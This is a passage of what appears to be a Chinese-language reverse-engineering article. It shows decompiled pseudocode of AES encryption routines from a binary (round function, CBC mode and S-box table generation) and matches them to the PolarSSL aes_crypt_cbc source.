&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v22;&nbsp;//&nbsp;[esp+1Ch]&nbsp;[ebp-4h]
&nbsp;&nbsp;int&nbsp;v23;&nbsp;//&nbsp;[esp+1Ch]&nbsp;[ebp-4h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v24;&nbsp;//&nbsp;[esp+28h]&nbsp;[ebp+8h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v25;&nbsp;//&nbsp;[esp+28h]&nbsp;[ebp+8h]

&nbsp;&nbsp;v3&nbsp;=&nbsp;(_DWORD&nbsp;*)a3[1];
&nbsp;&nbsp;v22&nbsp;=&nbsp;v3[1]&nbsp;^&nbsp;(a1[4]&nbsp;|&nbsp;((a1[5]&nbsp;|&nbsp;(*((unsigned&nbsp;__int16&nbsp;*)a1&nbsp;+&nbsp;3)&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8));
&nbsp;&nbsp;v4&nbsp;=&nbsp;*v3&nbsp;^&nbsp;(*a1&nbsp;|&nbsp;((a1[1]&nbsp;|&nbsp;(*((unsigned&nbsp;__int16&nbsp;*)a1&nbsp;+&nbsp;1)&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8));
&nbsp;&nbsp;v21&nbsp;=&nbsp;v3[2]&nbsp;^&nbsp;(a1[8]&nbsp;|&nbsp;((a1[9]&nbsp;|&nbsp;((a1[10]&nbsp;|&nbsp;(a1[11]&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8));
&nbsp;&nbsp;v5&nbsp;=&nbsp;v3[3]&nbsp;^&nbsp;(a1[12]&nbsp;|&nbsp;((a1[13]&nbsp;|&nbsp;((a1[14]&nbsp;|&nbsp;(a1[15]&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8));
&nbsp;&nbsp;v6&nbsp;=&nbsp;v3&nbsp;+&nbsp;4;
&nbsp;&nbsp;v14&nbsp;=&nbsp;v4;
&nbsp;&nbsp;v13&nbsp;=&nbsp;(*a3&nbsp;>>&nbsp;1)&nbsp;-&nbsp;1;
&nbsp;&nbsp;v7&nbsp;=&nbsp;v13&nbsp;<=&nbsp;0;
&nbsp;&nbsp;while&nbsp;(&nbsp;1&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v16&nbsp;=&nbsp;v5;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v7&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;v24&nbsp;=&nbsp;*v6&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v4]&nbsp;^&nbsp;dword_40B548[HIBYTE(v22)]&nbsp;^&nbsp;dword_40B948[BYTE2(v21)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v5)];
&nbsp;&nbsp;&nbsp;&nbsp;v19&nbsp;=&nbsp;v6[2]&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v21]&nbsp;^&nbsp;dword_40B548[HIBYTE(v5)]&nbsp;^&nbsp;dword_40B948[BYTE2(v4)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v22)];
&nbsp;&nbsp;&nbsp;&nbsp;v8&nbsp;=&nbsp;v6[1]&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v22]&nbsp;^&nbsp;dword_40B548[HIBYTE(v21)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v4)]&nbsp;^&nbsp;dword_40B948[BYTE2(v5)];
&nbsp;&nbsp;&nbsp;&nbsp;v17&nbsp;=&nbsp;v6[3]&nbsp;^&nbsp;dword_40C170[v16]&nbsp;^&nbsp;dword_40B548[HIBYTE(v14)]&nbsp;^&nbsp;dword_40B948[BYTE2(v22)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v21)];
&nbsp;&nbsp;&nbsp;&nbsp;v14&nbsp;=&nbsp;v6[4]&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v24]&nbsp;^&nbsp;dword_40B548[HIBYTE(v8)]&nbsp;^&nbsp;dword_40B948[BYTE2(v19)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v17)];
&nbsp;&nbsp;&nbsp;&nbsp;v22&nbsp;=&nbsp;v6[5]&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v8]&nbsp;^&nbsp;dword_40B548[HIBYTE(v19)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v24)]&nbsp;^&nbsp;dword_40B948[BYTE2(v17)];
&nbsp;&nbsp;&nbsp;&nbsp;v4&nbsp;=&nbsp;v14;
&nbsp;&nbsp;&nbsp;&nbsp;v21&nbsp;=&nbsp;v6[6]&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v19]&nbsp;^&nbsp;dword_40B548[HIBYTE(v17)]&nbsp;^&nbsp;dword_40B948[BYTE2(v24)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v8)];
&nbsp;&nbsp;&nbsp;&nbsp;v6&nbsp;+=&nbsp;8;
&nbsp;&nbsp;&nbsp;&nbsp;v7&nbsp;=&nbsp;--v13&nbsp;<=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;v5&nbsp;=&nbsp;*(v6&nbsp;-&nbsp;1)&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v17]&nbsp;^&nbsp;dword_40B548[HIBYTE(v24)]&nbsp;^&nbsp;dword_40B948[BYTE2(v8)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v19)];
&nbsp;&nbsp;}
&nbsp;&nbsp;v25&nbsp;=&nbsp;*v6&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v4]&nbsp;^&nbsp;dword_40B548[HIBYTE(v22)]&nbsp;^&nbsp;dword_40B948[BYTE2(v21)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v5)];
&nbsp;&nbsp;v9&nbsp;=&nbsp;v6[1]&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v22]&nbsp;^&nbsp;dword_40B548[HIBYTE(v21)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v4)]&nbsp;^&nbsp;dword_40B948[BYTE2(v5)];
&nbsp;&nbsp;v20&nbsp;=&nbsp;v6[2]&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v21]&nbsp;^&nbsp;dword_40B548[HIBYTE(v5)]&nbsp;^&nbsp;dword_40B948[BYTE2(v4)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v22)];
&nbsp;&nbsp;v18&nbsp;=&nbsp;v6[3]&nbsp;^&nbsp;dword_40C170[(unsigned&nbsp;__int8)v5]&nbsp;^&nbsp;dword_40B548[HIBYTE(v14)]&nbsp;^&nbsp;dword_40B948[BYTE2(v22)]&nbsp;^&nbsp;dword_40BD70[BYTE1(v21)];
&nbsp;&nbsp;v15&nbsp;=&nbsp;v6[4]&nbsp;^&nbsp;(unsigned&nbsp;__int8)byte_40D570[*(_BYTE&nbsp;*)v6&nbsp;^&nbsp;LOBYTE(dword_40C170[(unsigned&nbsp;__int8)v4])&nbsp;^&nbsp;LOBYTE(dword_40B548[HIBYTE(v22)])&nbsp;^&nbsp;LOBYTE(dword_40B948[BYTE2(v21)])&nbsp;^&nbsp;LOBYTE(dword_40BD70[BYTE1(v5)])]&nbsp;^&nbsp;(((unsigned&nbsp;__int8)byte_40D570[BYTE1(v18)]&nbsp;^&nbsp;((((unsigned&nbsp;__int8)byte_40D570[HIBYTE(v9)]&nbsp;<<&nbsp;8)&nbsp;^&nbsp;(unsigned&nbsp;__int8)byte_40D570[BYTE2(v20)])&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8);
&nbsp;&nbsp;v23&nbsp;=&nbsp;v6[5]&nbsp;^&nbsp;(unsigned&nbsp;__int8)byte_40D570[*((_BYTE&nbsp;*)v6&nbsp;+&nbsp;4)&nbsp;^&nbsp;LOBYTE(dword_40C170[(unsigned&nbsp;__int8)v22])&nbsp;^&nbsp;LOBYTE(dword_40B548[HIBYTE(v21)])&nbsp;^&nbsp;LOBYTE(dword_40BD70[BYTE1(v4)])&nbsp;^&nbsp;LOBYTE(dword_40B948[BYTE2(v5)])]&nbsp;^&nbsp;(((unsigned&nbsp;__int8)byte_40D570[BYTE1(v25)]&nbsp;^&nbsp;((((unsigned&nbsp;__int8)byte_40D570[HIBYTE(v20)]&nbsp;<<&nbsp;8)&nbsp;^&nbsp;(unsigned&nbsp;__int8)byte_40D570[BYTE2(v18)])&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8);
&nbsp;&nbsp;v10&nbsp;=&nbsp;v6[6]&nbsp;^&nbsp;(unsigned&nbsp;__int8)byte_40D570[(unsigned&nbsp;__int8)v20]&nbsp;^&nbsp;(((unsigned&nbsp;__int8)byte_40D570[BYTE1(v9)]&nbsp;^&nbsp;((((unsigned&nbsp;__int8)byte_40D570[HIBYTE(v18)]&nbsp;<<&nbsp;8)&nbsp;^&nbsp;(unsigned&nbsp;__int8)byte_40D570[BYTE2(v25)])&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8);
&nbsp;&nbsp;v11&nbsp;=&nbsp;v6[7]&nbsp;^&nbsp;(unsigned&nbsp;__int8)byte_40D570[(unsigned&nbsp;__int8)v18]&nbsp;^&nbsp;(((unsigned&nbsp;__int8)byte_40D570[BYTE1(v20)]&nbsp;^&nbsp;((((unsigned&nbsp;__int8)byte_40D570[HIBYTE(v25)]&nbsp;<<&nbsp;8)&nbsp;^&nbsp;(unsigned&nbsp;__int8)byte_40D570[BYTE2(v9)])&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8);
&nbsp;&nbsp;*(_DWORD&nbsp;*)a2&nbsp;=&nbsp;v15;
&nbsp;&nbsp;*(_WORD&nbsp;*)(a2&nbsp;+&nbsp;4)&nbsp;=&nbsp;v23;
&nbsp;&nbsp;*(_BYTE&nbsp;*)(a2&nbsp;+&nbsp;7)&nbsp;=&nbsp;HIBYTE(v23);
&nbsp;&nbsp;*(_BYTE&nbsp;*)(a2&nbsp;+&nbsp;9)&nbsp;=&nbsp;BYTE1(v10);
&nbsp;&nbsp;*(_BYTE&nbsp;*)(a2&nbsp;+&nbsp;10)&nbsp;=&nbsp;BYTE2(v10);
&nbsp;&nbsp;*(_WORD&nbsp;*)(a2&nbsp;+&nbsp;12)&nbsp;=&nbsp;v11;
&nbsp;&nbsp;*(_BYTE&nbsp;*)(a2&nbsp;+&nbsp;8)&nbsp;=&nbsp;v10;
&nbsp;&nbsp;*(_BYTE&nbsp;*)(a2&nbsp;+&nbsp;14)&nbsp;=&nbsp;BYTE2(v11);
&nbsp;&nbsp;*(_BYTE&nbsp;*)(a2&nbsp;+&nbsp;15)&nbsp;=&nbsp;HIBYTE(v11);
&nbsp;&nbsp;*(_BYTE&nbsp;*)(a2&nbsp;+&nbsp;6)&nbsp;=&nbsp;BYTE2(v23);
&nbsp;&nbsp;*(_BYTE&nbsp;*)(a2&nbsp;+&nbsp;11)&nbsp;=&nbsp;HIBYTE(v10);
&nbsp;&nbsp;return&nbsp;0;
}
int&nbsp;__cdecl&nbsp;sub_407447(_DWORD&nbsp;*a1,&nbsp;int&nbsp;a2,&nbsp;_BYTE&nbsp;*a3,&nbsp;_DWORD&nbsp;*a4)
{
&nbsp;&nbsp;int&nbsp;v4;&nbsp;//&nbsp;ecx
&nbsp;&nbsp;char&nbsp;*v5;&nbsp;//&nbsp;eax
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v7;&nbsp;//&nbsp;ebx
&nbsp;&nbsp;_BYTE&nbsp;*v8;&nbsp;//&nbsp;eax
&nbsp;&nbsp;int&nbsp;v9;&nbsp;//&nbsp;esi
&nbsp;&nbsp;int&nbsp;v10;&nbsp;//&nbsp;ebx
&nbsp;&nbsp;_DWORD&nbsp;*v11;&nbsp;//&nbsp;esi
&nbsp;&nbsp;_BYTE&nbsp;*v12;&nbsp;//&nbsp;eax
&nbsp;&nbsp;int&nbsp;v13;&nbsp;//&nbsp;ecx
&nbsp;&nbsp;_DWORD&nbsp;*v14;&nbsp;//&nbsp;esi
&nbsp;&nbsp;bool&nbsp;v15;&nbsp;//&nbsp;zf
&nbsp;&nbsp;int&nbsp;v16;&nbsp;//&nbsp;[esp+0h]&nbsp;[ebp-18h]
&nbsp;&nbsp;int&nbsp;v17;&nbsp;//&nbsp;[esp+4h]&nbsp;[ebp-14h]
&nbsp;&nbsp;int&nbsp;v18;&nbsp;//&nbsp;[esp+8h]&nbsp;[ebp-10h]
&nbsp;&nbsp;int&nbsp;v19;&nbsp;//&nbsp;[esp+Ch]&nbsp;[ebp-Ch]
&nbsp;&nbsp;int&nbsp;v20;&nbsp;//&nbsp;[esp+10h]&nbsp;[ebp-8h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v21;&nbsp;//&nbsp;[esp+10h]&nbsp;[ebp-8h]
&nbsp;&nbsp;int&nbsp;*v22;&nbsp;//&nbsp;[esp+14h]&nbsp;[ebp-4h]

&nbsp;&nbsp;v5&nbsp;=&nbsp;(char&nbsp;*)(a1&nbsp;+&nbsp;2);
&nbsp;&nbsp;if&nbsp;(&nbsp;(v4&nbsp;&&nbsp;0xF)&nbsp;!=&nbsp;0&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-34;
&nbsp;&nbsp;if&nbsp;(&nbsp;a2&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v4&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v10&nbsp;=&nbsp;v5&nbsp;-&nbsp;a3;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v21&nbsp;=&nbsp;((unsigned&nbsp;int)(v4&nbsp;-&nbsp;1)&nbsp;>>&nbsp;4)&nbsp;+&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v11&nbsp;=&nbsp;a4;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v12&nbsp;=&nbsp;a3;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v13&nbsp;=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v12[(char&nbsp;*)a4&nbsp;-&nbsp;a3]&nbsp;=&nbsp;*v12&nbsp;^&nbsp;v12[v10];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;++v12;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--v13;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;v13&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;a2&nbsp;==&nbsp;1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_406A04(a1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_406F2A(a1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a3&nbsp;+=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a4&nbsp;+=&nbsp;4;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a1[2]&nbsp;=&nbsp;*v11;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v14&nbsp;=&nbsp;v11&nbsp;+&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a1[3]&nbsp;=&nbsp;*v14++;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a1[4]&nbsp;=&nbsp;*v14;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v10&nbsp;-=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v15&nbsp;=&nbsp;v21--&nbsp;==&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a1[5]&nbsp;=&nbsp;v14[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;!v15&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;if&nbsp;(&nbsp;v4&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v22&nbsp;=&nbsp;(int&nbsp;*)a3;
&nbsp;&nbsp;&nbsp;&nbsp;v20&nbsp;=&nbsp;v5&nbsp;-&nbsp;(char&nbsp;*)a4;
&nbsp;&nbsp;&nbsp;&nbsp;v7&nbsp;=&nbsp;((unsigned&nbsp;int)(v4&nbsp;-&nbsp;1)&nbsp;>>&nbsp;4)&nbsp;+&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v16&nbsp;=&nbsp;*v22;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v17&nbsp;=&nbsp;v22[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v18&nbsp;=&nbsp;v22[2];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v19&nbsp;=&nbsp;v22[3];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_406F2A(a1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v8&nbsp;=&nbsp;a4;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v9&nbsp;=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*v8&nbsp;^=&nbsp;v8[v20];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;++v8;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--v9;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;v9&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v22&nbsp;+=&nbsp;4;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v20&nbsp;-=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--v7;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a1[2]&nbsp;=&nbsp;v16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a1[3]&nbsp;=&nbsp;v17;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a1[4]&nbsp;=&nbsp;v18;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a1[5]&nbsp;=&nbsp;v19;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a4&nbsp;=&nbsp;v8;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;v7&nbsp;);
&nbsp;&nbsp;}
&nbsp;&nbsp;return&nbsp;0;
}

    上述代码可以解释为：

int aes_crypt_cbc( aes_context *ctx,
                    int mode,
                    const unsigned char iv[16],
                    const unsigned char *input,
                    unsigned char *output,
                    unsigned int length )
{
    int i;
    unsigned char temp[16];
    if( length % 16 )
        return( POLARSSL_ERR_AES_INVALID_INPUT_LENGTH );
# 510 "aes.c"
    if( mode == AES_DECRYPT )
    {
        while( length > 0 )
        {
            memcpy( temp, input, 16 );
            aes_crypt_ecb( ctx, AES_DECRYPT, input, output );
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;<&nbsp;16;&nbsp;i++&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;output[i]&nbsp;=&nbsp;(unsigned&nbsp;char)(&nbsp;output[i]&nbsp;^&nbsp;iv[i]&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(&nbsp;iv,&nbsp;temp,&nbsp;16&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;input&nbsp;&nbsp;+=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;output&nbsp;+=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;length&nbsp;-=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(&nbsp;length&nbsp;>&nbsp;0&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;<&nbsp;16;&nbsp;i++&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;output[i]&nbsp;=&nbsp;(unsigned&nbsp;char)(&nbsp;input[i]&nbsp;^&nbsp;iv[i]&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;aes_crypt_ecb(&nbsp;ctx,&nbsp;AES_ENCRYPT,&nbsp;output,&nbsp;output&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(&nbsp;iv,&nbsp;output,&nbsp;16&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;input&nbsp;&nbsp;+=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;output&nbsp;+=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;length&nbsp;-=&nbsp;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return(&nbsp;0&nbsp;);
}

    使用AES算法在CBC模式下对输入数据进行加密。

    在函数sub_40646A生成AES算法中所需的S-Box、Rcon（轮常数）和变换表的函数。

int sub_40646A()
{
  int v0; // ecx
  int v1; // ebx
  int v2; // eax
  int v3; // eax
  int *v4; // ecx
  int v5; // eax
  int v6; // ecx
  int v7; // edx
  int v8; // eax
  int v9; // ecx
  int v10; // eax
  int v11; // edi
  int v12; // edx
  int v13; // eax
  int v14; // ecx
  int v15; // eax
  int v16; // eax
  int v17; // edx
  int v18; // edx
  int v19; // edx
  int v20; // eax
  int result; // eax
  int v22[255]; // [esp+Ch] [ebp-80Ch]
  char v23[40]; // [esp+408h] [ebp-410h]
  int v24; // [esp+430h] [ebp-3E8h]
  int v25; // [esp+438h] [ebp-3E0h]
  int v26; // [esp+440h] [ebp-3D8h]
  int v27; // [esp+444h] [ebp-3D4h]
  int v28; // [esp+80Ch] [ebp-Ch]
  int v29; // [esp+810h] [ebp-8h]
  int v30; // [esp+814h] [ebp-4h]

  v0 = 0;
  v1 = 1;
  v2 = 1;
  do
  {
    v22[v0] = v2;
    *(_DWORD *)&v23[4 * v2 + 4] = v0;
    v2 = (unsigned __int8)((2 * v2) ^ ((char)(v2 & 0x80) != 0 ? 0x1B : 0) ^ v2);
    ++v0;
  }
&nbsp;&nbsp;while&nbsp;(&nbsp;v0&nbsp;<&nbsp;256&nbsp;);
&nbsp;&nbsp;v3&nbsp;=&nbsp;1;
&nbsp;&nbsp;v4&nbsp;=&nbsp;&dword_40BD48;
&nbsp;&nbsp;do
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;*v4++&nbsp;=&nbsp;v3;
&nbsp;&nbsp;&nbsp;&nbsp;v3&nbsp;=&nbsp;(unsigned&nbsp;__int8)(((char)(v3&nbsp;&&nbsp;0x80)&nbsp;!=&nbsp;0&nbsp;?&nbsp;0x1B&nbsp;:&nbsp;0)&nbsp;^&nbsp;(2&nbsp;*&nbsp;v3));
&nbsp;&nbsp;}
&nbsp;&nbsp;while&nbsp;(&nbsp;(int)v4&nbsp;<&nbsp;(int)dword_40BD70&nbsp;);
&nbsp;&nbsp;byte_40B448[0]&nbsp;=&nbsp;99;
&nbsp;&nbsp;byte_40D5D3&nbsp;=&nbsp;0;
&nbsp;&nbsp;do
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v5&nbsp;=&nbsp;*(_DWORD&nbsp;*)&v23[-4&nbsp;*&nbsp;*(_DWORD&nbsp;*)&v23[4&nbsp;*&nbsp;v1&nbsp;+&nbsp;4]];
&nbsp;&nbsp;&nbsp;&nbsp;v6&nbsp;=&nbsp;(unsigned&nbsp;__int8)((2&nbsp;*&nbsp;v5)&nbsp;|&nbsp;(v5&nbsp;>>&nbsp;7));
&nbsp;&nbsp;&nbsp;&nbsp;v7&nbsp;=&nbsp;(unsigned&nbsp;__int8)((2&nbsp;*&nbsp;v6)&nbsp;|&nbsp;(v6&nbsp;>>&nbsp;7));
&nbsp;&nbsp;&nbsp;&nbsp;v8&nbsp;=&nbsp;v7&nbsp;^&nbsp;v6&nbsp;^&nbsp;v5;
&nbsp;&nbsp;&nbsp;&nbsp;v9&nbsp;=&nbsp;(unsigned&nbsp;__int8)((2&nbsp;*&nbsp;v7)&nbsp;|&nbsp;(v7&nbsp;>>&nbsp;7));
&nbsp;&nbsp;&nbsp;&nbsp;v10&nbsp;=&nbsp;(unsigned&nbsp;__int8)((2&nbsp;*&nbsp;v9)&nbsp;|&nbsp;(v9&nbsp;>>&nbsp;7))&nbsp;^&nbsp;0x63&nbsp;^&nbsp;v9&nbsp;^&nbsp;v8;
&nbsp;&nbsp;&nbsp;&nbsp;byte_40B448[v1]&nbsp;=&nbsp;v10;
&nbsp;&nbsp;&nbsp;&nbsp;byte_40D570[v10]&nbsp;=&nbsp;v1++;
&nbsp;&nbsp;}
&nbsp;&nbsp;while&nbsp;(&nbsp;v1&nbsp;<&nbsp;256&nbsp;);
&nbsp;&nbsp;v11&nbsp;=&nbsp;0;
&nbsp;&nbsp;do
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v12&nbsp;=&nbsp;(unsigned&nbsp;__int8)byte_40B448[v11];
